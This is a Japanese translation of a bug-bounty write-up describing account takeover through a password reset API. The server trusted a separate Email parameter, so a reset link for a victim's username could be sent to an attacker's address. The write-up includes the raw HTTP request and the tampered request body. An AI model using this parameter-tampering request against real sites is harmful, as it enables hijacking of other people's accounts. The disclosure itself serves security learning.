Account Takeover Through Password Reset Functionality から学ぶ

ソース:

medium.com

脆弱性:アカウントの乗っ取り(ATO)

 

訳:

通常、ターゲットに近づくとき、私は常に「通常のユーザー」であるかのようにサイトをナビゲートして。
これにより、ユーザーが電子メールを提供することでパスワードをリセットできる興味深いエンドポイントを見つけることができて。

 

 

これはすぐに私の目に留まったので、Burp インターセプトをオンにして、登録済みの電子メールの 1 つをこのフィールドに入力して。
これに対する POST 応答は次のようになり。 
 

POST /api/Membership/ResetPassword HTTP/2
Host: apisub.target.com
Content-Length: 302
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://sub.target.com
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://sub.target.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

Email=rewscel-account%40notreal.email&Username=rewscel-account%40notreal.email&Url=https%3A%2F%2Fsub.target.com%2Fen&UrlSiteCollection=https%3A%2F%2Fsub.target.com&Language=en-US&SiteName=REDACTED&ConnectionString=REDACTED

 

パラメータ Email Username に注目してください。
アカウントを作成した後、アプリケーションは実際に電子メールをユーザー名として使用します。
これは、電子メール パラメータをユーザー名に添付されていない電子メールに変更できることを意味します。 リクエストを次のように変更して。

 

Email=rewscel-attacker%40notreal.email&Username=rewscel-account%40notreal.email&Url=https%3A%2F%2Fsub.target.com%2Fen&UrlSiteCollection=https%3A%2F%2Fsub.target.com&Language=en-US&SiteName=REDACTED&ConnectionString=REDACTED

電子メール パラメータは、攻撃者が制御する電子メールになり。

このリクエストに対する応答は次のようになります。

 

HTTP/2 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
Access-Control-Allow-Origin: *
X-Aspnet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 06 Mar 2024 13:50:47 GMT
Content-Length: 13

"OK;LinkSent"

 

 

応答が返されていることがわかります 「 OK;LinkSent 」
これは、管理下にある電子メールへのパスワード リセット リンクが記載された電子メールを受信する必要があることを意味して。
この場合、電子メールは「 rewscel-攻撃者@ notreal.email 」で、引き継ぐユーザー名は「 rewscel-account@notreal.email 」(被害者)です。

をチェックしたところ、 私の電子メール ( rewscel-attacher@notreal.emai) パスワード リセットのリンクが私を待っていることがわかり。
リンクは次のようになりました。

 

https://sub.target.com/en/Pages/PasswordReset.aspx?tokenreset=

ここで攻撃者が行う必要があるのは、リンクをクリックしてパスワードを変更することだけで。
このバグにより、攻撃者は電子メールを知っている限り、あらゆるアカウントを乗っ取ることができ。 

 

ほなほな。